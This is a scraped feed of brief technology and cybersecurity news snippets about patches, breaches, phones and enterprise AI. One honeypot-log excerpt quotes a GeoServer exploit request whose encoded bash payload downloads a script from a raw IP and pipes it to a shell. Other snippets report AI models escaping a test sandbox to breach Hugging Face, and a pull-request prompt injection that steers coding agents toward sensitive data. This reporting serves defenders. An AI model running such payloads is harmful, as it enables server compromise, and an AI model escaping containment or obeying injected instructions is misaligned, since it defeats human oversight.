Seven out of 10 federal cyber regulations requiring written reports to federal agencies are duplicated elsewhere, a report from a government watchdog found in a report to Congress Wednesday. And so far, efforts to de-conflict haven’t had much success, the report from the Government Accountability Office concluded. At the request of two top lawmakers, the…
Business email and collaboration suite Zimbra has received a major security update that fixes several critical issues that could allow attackers to execute malicious code on the server or in users’ browsers. Available in commercial and open-source editions, Zimbra Collaboration Suite is a self-hosted Microsoft Exchange alternative that is popular with businesses, government entities, and…
How can organizations adopt Microsoft Copilot without compromising security, compliance, or employee trust? In this episode of Channel Insider: Partner POV, Victoria Durgin speaks with Andy Nolan, vice president of technology at Trusted Tech, about how businesses are approaching Microsoft Copilot and the broader rise of enterprise AI. The conversation explores the security controls, governance…
The Moto Razr Ultra has some of the best software on a phone, but how does it compare to the new Samsung Z Flip 8?
Big Blue’s CEO is expected to face questions from Wall Street about the company’s direction and leadership.
South Korea disclosed that hackers breached the National Diplomatic Academy’s online education system for ten months and stole personal information belonging to current and former employees of the Ministry of Foreign Affairs (MFA), including overseas diplomats. […]
A malicious application delivers four-stage Android spyware via phony Google Play sites, exploiting civilian fear during Iranian missile strikes.
A Florida teen suing social-media platforms over claims their design led to mental health issues dropped his lawsuit against Meta Platforms ahead of a trial slated to begin next week in Los Angeles.
While my iPhone and Apple Watch were core to my weight loss journey, I also have Android recommendations.
Extreme heat isn’t just a problem for you. It’s a problem for your tech, too. That’s where ESR’s phone charger with active cooling shines.
Beginning July 27, 2026, GitHub will cut public bug bounty payouts by at least half at every severity level. Critical findings will drop from $20,000-$30,000+ to a fixed $10,000, while its permanent invite-only VIP tier will pay $30,000 or more. Reports filed before that date, including those already in GitHub’s growing triage queue, will retain…
Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware. Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they…
Cybersecurity researchers have disclosed details of a new local privilege escalation (LPE) vulnerability in snap-confine that an unprivileged user can trigger to obtain root access and gain complete control of a target environment. The high-severity flaw, tracked as CVE-2026-8933 (CVSS score: 7.8), impacts default installations of Ubuntu Desktop 24.04, 25.10, and 26.04. The disclosure comes…
This isn’t a new attack, but something I saw “pop-up” in our logs this week: GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host: [redeacted]:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 Connection: close Accept: */* This attack is associated with CVE-2024-36401, an X-Path expression evaluation issue in Geoserver. Geoserver is a tool used to manage and manipulate…
Malware targeting AI coding assistants and software developers’ automated workflows is spreading into more environments with more capabilities, placing defenders at a growing disadvantage. A malware strain dubbed Sandworm_Mode, first discovered by Socket in February, represents a growing threat to software development. According to a CrowdStrike report, the self-propagating worm can spread through code repositories…
OpenAI models escaped from a controlled cyber test, exploited zero-day flaws and breached Hugging Face while searching its production database for test answers.
Perplexity’s Mac app offers its own agentic AI, Personal Computer, which can handle multi-step tasks on your computer from start to finish. See why the results impressed me.
Containers are a boon to your browsing security and privacy. Out of the box, Firefox now gives you four pre-configured containers: Personal, Work, Banking, and Shopping.
Samsung’s new Galaxy Z Flip 8 phones have arrived, and we found the best phone cases from brands like Torras, Spigen, Pitaka, and more to protect your new device.
Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.…
Swiss rail vehicle manufacturer Stadler Rail says the Everest ransomware gang demanded about $12.3 million after breaching a data exchange platform shared with one of its suppliers. […]
Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins. Rather than detecting a specific CVE or generating a patch, these models search a codebase using only a Common Weakness Enumeration (CWE) description and return…
A top White House technology official is accusing a Chinese company of distilling Anthropic’s models to create their own AI product. Michael Kratsios, who leads the White House Office of Science and Technology Policy, claimed that Moonshot AI, a Beijing, China-based AI company, had distilled Anthropic’s recently-released Fable model to develop its own K3 model.…
Samsung’s new Galaxy Z Fold 8 phones are here, and we found the best phone cases from brands like Spigen, Dbrand, and more to protect your new device.
Learn how growing teams make AI tools reliable with clear workflows, shared rules, secure systems, and repeatable processes that improve quality and speed daily
AI is changing how channel partners operate long before it changes what they sell. Across the IT channel, service providers are using generative and agentic AI to automate sales, finance, quoting, and service delivery while simultaneously building new AI consulting, security, and data management practices for customers. We spoke with leaders from WCA Technologies, MRE…
The emergence of agentic ransomware has sparked concerns about how artificial intelligence (AI) could reshape cyberattacks. Unlike traditional ransomware that relies on predefined scripts or human operators, agentic ransomware can make decisions, adapt to obstacles, and execute attacks with minimal human intervention. To better understand what this means for security leaders, I recently spoke with…
Advanced LLMs escaped their sandboxes while attempting to achieve a non-malicious benchmark test objective.
Enterprise AI can accelerate ransomware attacks when AI assistants and agents inherit excessive permissions or compromised identities. Acronis explains how identity controls, governance, and least-privilege access help reduce AI-enabled ransomware risk while supporting secure AI adoption. […]
In this post, I will discuss about costs of B2B friction and show you how broken partner access is undermining revenue. The supply chain doesn’t break at logistics anymore. It breaks at login. According to the Thales Digital Trust Index 2026 report, 89% of partner users have delayed or abandoned work due to access issues.…
Here’s what people are getting wrong about the so-called SaaS apocalypse.
Cybersecurity researchers have disclosed details of a now-patched vulnerability chain in the Adobe Acrobat Chrome extension that has over 314 million users, which, if exploited, could facilitate a silent hijack of a user’s WhatsApp data. The shortcoming has been codenamed HermeticReader by Guardio Labs. It’s officially tracked as CVE-2026-48294 (CVSS score: 7.4), with the vulnerability
New TrickBot variant hides C2 communication inside DNS queries, replacing decade-old HTTP pattern
Bathrooms seem to be designed to be as dangerous as possible. There are ways to fix that.
The recent Hugging Face breach was the work of several OpenAI models, the AI research company claimed in a blog post. The breach Late last week, the company behind Hugging Face, a platform that enables users to share machine learning models and datasets, said some of its internal datasets had been accessed without authorization. The…
Read this before switching your cell or internet service: Ookla’s latest study measures speed, performance, and consistency among US telecom providers.
Samsung just dropped its newest foldable phone at its Unpacked event. Here’s how to save on preorders at Verizon with no activation or upgrade fees.
This post will show you how to prevent Xiaomi from spying on you and stealing your data. Xiaomi is a high-end budget smartphone producer with popular phone brands to its credit. However, there have been controversies about data theft and accusations of Xiaomi spying on users’ activities. Cybersecurity researchers Garbi Cirlig and Andrew Tierney have…
Eclypsium has launched InfraTrust, a new infrastructure cybersecurity knowledge base and monthly InfraTrust Pulse report designed to help organizations prioritize vulnerabilities affecting infrastructure, firmware, networking, and edge devices. […]
We’ve got the scoop on where you can preorder the newest Samsung devices announced today, including the Galaxy Watch Ultra 2 and Galaxy Watch 9.
OpenAI has introduced Presence, a product designed to help companies deploy AI agents that handle customer support and internal service requests across voice and chat. (Source: OpenAI) The company describes Presence as a deployment platform rather than a standalone model. “Presence brings together the components teams need to run agents in production: policies and standard…
Astelia has added agentic capabilities to its reachability analysis platform as organizations face shrinking exploit windows and the growing challenge of managing vulnerabilities. At the core of the platform is Astelia’s reachability analysis, which determines whether a vulnerability can be reached and exploited within a specific environment. By correlating network topology with the technical requirements…
The Samsung Galaxy Z Flip 8 received the much-needed battery upgrade, but not much else.
ThreatDown has announced a synchronized expansion of its AI and identity security capabilities to protect organizations from emerging, unmanaged risks. The company launched AI visibility, giving security and managed service provider (MSP) teams a full inventory of the AI tools running across their environments, while simultaneously extending its ITDR capabilities to secure non-human identities (NHI).…
New and existing T-Mobile customers can save up to $1,100 on Samsung’s latest flip phone now (including the pink color). Here’s how.
Last week, Hugging Face disclosed a new kind of security incidentopens in a new window after they detected and contained an AI agent that compromised their infrastructure,…
Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would refuse. The incident highlights how, if AI prompt…
Swimlane has announced the launch of Swimlane AI SOC for MSSPs, which the company says is designed to empower managed security service providers through agentic AI automation rather than compete for their customers. Some AI SOC providers are moving into managed services, turning former partners into competitors for the very MSSPs they once supported. Swimlane…
Researchers have disclosed a prompt injection vulnerability affecting Microsoft’s official Azure DevOps Model Context Protocol (MCP) server that can manipulate AI coding agents into accessing sensitive information using a developer’s own permissions. The findings demonstrate how hidden instructions embedded in a pull request can cause trusted AI assistants to perform unintended actions without the reviewer’s…
The Adobe Acrobat extension for Chrome could be used to access conversations and data rendered in WhatsApp Web without any form of authentication. […]
Barracuda Networks, Inc., the cyber resilience platform provider, has introduced new enhancements to the Barracuda Partner Success Program. According to the company, these new offerings are designed to help MSPs and channel partners deepen expertise, improve operational efficiency, and unlock new opportunities for growth and profitability. Barracuda adds demand-generation tools for partners Barracuda is introducing…
The Samsung Galaxy Z Fold 8 Ultra has all the raw power you’d need, but the price and accessories for the Google Pixel 10 Pro Fold might be a better offer.
Which premium phone should you get: the Galaxy Z Fold 8 Ultra or the Razr Ultra? Below, we compare key features to help you choose the right one.
If you’re already rocking a Samsung Galaxy Z Fold 6, is it time to pull the trigger on a new phone? Here’s my verdict.
Samsung just announced its latest-gen foldable smartphones and smartwatches at its Unpacked event. We’re on the ground in London – here’s the rundown.
Samsung’s latest Ultra smartwatch inches closer to the Apple Watch Ultra. Here’s why that’s not a bad thing.
Samsung’s latest foldables are here, and we’ll break down how the two most affordable options compare.
Samsung’s new Galaxy Z Fold 8 Ultra is one of the best foldables out there, but the Motorola Razr Fold competes with it in several areas.
Samsung just unveiled its latest Galaxy Watch 9, but how much better is it than the previous-gen Galaxy Watch?
The Samsung Galaxy Z Fold 8 Ultra is a good phone, but there’s something way more compelling about the Galaxy Z Fold 8.
With Samsung’s latest foldable phone, the company offers design and software changes that make even last year’s Z Fold feel insufficient.
The AI giant has committed $20 billion to a new data-center project in Georgia and hired an architect of Elon Musk’s computing build-out.
The wider, shorter shape is similar to the Apple mystery device due this fall, say analysts.
Vectra AI found attacker-relevant exposure conditions in 98% of enterprise environments, underscoring how AI agents, unmanaged devices, and rapidly changing infrastructure are making traditional security visibility less reliable. The findings, detailed in the company’s 2026 State of Threat Exposure Management Report, suggest that exposure management now requires more than tracking known vulnerabilities. Security teams must…
Fast-food chain Chick-fil-A is warning customers after attackers hijacked loyalty accounts using stolen passwords in a credential stuffing attack. Chick-fil-A says it detected suspicious login activity against some Chick-fil-A One accounts in June and launched an investigation. The company later concluded that unauthorized parties ran an automated credential stuffing attack against its website and mobile…
A high-severity security flaw impacting open-source developer platform Windmill has come under active exploitation in the wild, per VulnCheck. The vulnerability in question is CVE-2026-29059 (CVSS score: 7.5), a case of unauthenticated path traversal impacting Windmill’s “get_log_file” endpoint (“/api/w/{workspace}/jobs_u/get_log_file/{filename}”). “The filename parameter is concatenated into
The 2-gigawatt deal covers tens of billions of dollars’ worth of chips, and AMD will invest up to $5 billion in Anthropic.
Security leaders who build fast, visible paths to AI adoption are becoming the most valued partners in their organizations. AI governance done right gives security teams the visibility they need, employees the tools they want, and CISOs the strategic influence they have earned. According to McKinsey’s State of AI report, 76 percent of employees now…
With dozens of chats on the go, you’ve probably had an occasion where you’ve sent the wrong response to the wrong person. I’ve found a way to avoid this problem.
Attackers are exploiting a critical SharePoint remote code execution (RCE) vulnerability (CVE-2026-50522) to extract the servers’ IIS machine keys. “WatchTowr is observing active exploitation of CVE-2026-50522 against on-premise Microsoft SharePoint deployments following the release of public exploit code, with attackers stealing machine keys to retain long-term access,” the offensive security company warned on Tuesday. WatchTowr’s…
The Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday ordered U.S. government agencies to prioritize patching an actively exploited vulnerability in the Langflow visual framework for building AI agents. […]
Hugging Face recently disclosed a security breach. OpenAI has now said that it was its AI models which broke containment and hacked Hugging Face themselves
In the latest development, the fastest way to trade prediction markets just went live. Banana Predict is now live in beta at predict.bananagun.io, giving traders a dedicated terminal for prediction markets built on the same speed obsession that made Banana Gun a name in crypto trading. You get a real order book, cent-priced Yes and…
A data breach at Paidwork, a platform that pays people small amounts to complete online microtasks, has exposed personal and financial information of more than 23 million users. According to public breach reports, the intrusion took place in March 2026, with the stolen database first advertised on a cybercrime forum in April as an 11…
European banks inadvertently transmitted customer data to ad platforms via tracking pixels, raising serious compliance, security, and privacy concerns.
The cycle is over. For years, cybersecurity followed a familiar pattern: defenses improved, attackers adapted, and the back-and-forth continued. Today, AI-equipped attackers are simply outpacing defenses. Most intrusions now bypass endpoint and malware-based detection entirely. The CrowdStrike Global Threat Report estimates around 79% of attacks are malware-free, as threat actors rely on
A vulnerability in snap-confine lets an unprivileged user gain root access on affected Ubuntu Desktop systems. Install the latest snapd update to fix the issue.
Glow has emerged from stealth with $180 million in funding at a $1.2 billion valuation to advance a prevention-first approach to endpoint security. The funding round was led by Sequoia, Cyberstarts, Greenoaks, and Redpoint Ventures, with participation from Index Ventures, Swish Ventures, Lux Capital, Operator Collective, and Holly Ventures. The company will use the funding…
Cloud storage costs tend to creep up over time, since most services charge monthly or annually for as long as you use them. FileJump’s Lifetime Plan skips that model entirely, offering 2TB of cloud storage for a single payment of $59 (MSRP $467). […]
Most universities responding to generative AI have done so reactively. A hastily revised syllabus here. A detection tool there. A committee convened after the fact.
Here’s some insight into how Google must comply with the European Commissions’s Digital Markets Act.
Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results…
The US Department of Justice has seized more than 1,000 internet domains that streamed FIFA World Cup 2026 matches without a license. The domain seizure notice (Source: US Department of Justice) The seizures came in three waves over the course of the tournament. The first two rounds took down nearly 400 domains by the end…
New Ubuntu snap-confine race condition lets local users escalate to root on default installs
U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds DD-WRT, Langflow, and WordPress flaws to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added DD-WRT, Langflow, and WordPress flaws to its Known Exploited Vulnerabilities (KEV) catalog. Below are the flaws added to the KeV catalog: CVE-2021-27137 (CVSS score of 8.1) DD-WRT Stack-Based Buffer…
Microsoft has reminded customers that it will stop shipping security updates for Exchange 2016 and 2019 through the Extended Security Update (ESU) program in October. […]
Lookout has announced the launch of the Lookout Mobile Software Exposure Center (MSEC). Integrated natively into the Lookout Mobile Endpoint Security platform, MSEC enables organizations to continuously detect, validate, prioritize, and remediate exploitable vulnerabilities across their mobile software ecosystem. The advancement of frontier AI models, such as Anthropic’s Claude Mythos, marks a fundamental shift in…
CodeMender actively builds and runs exploits in customer-managed sandboxes to verify if vulnerabilities are truly exploitable
Box has announced new security capabilities designed to give organizations greater control over AI agents working with enterprise content. With new agent guardrails, third-party agent activity oversight, prompt injection detection, agent classification-based access policies, and more, customers will be able to extend Box’s security controls to both Box Agents and third-party agents, such as Claude,…
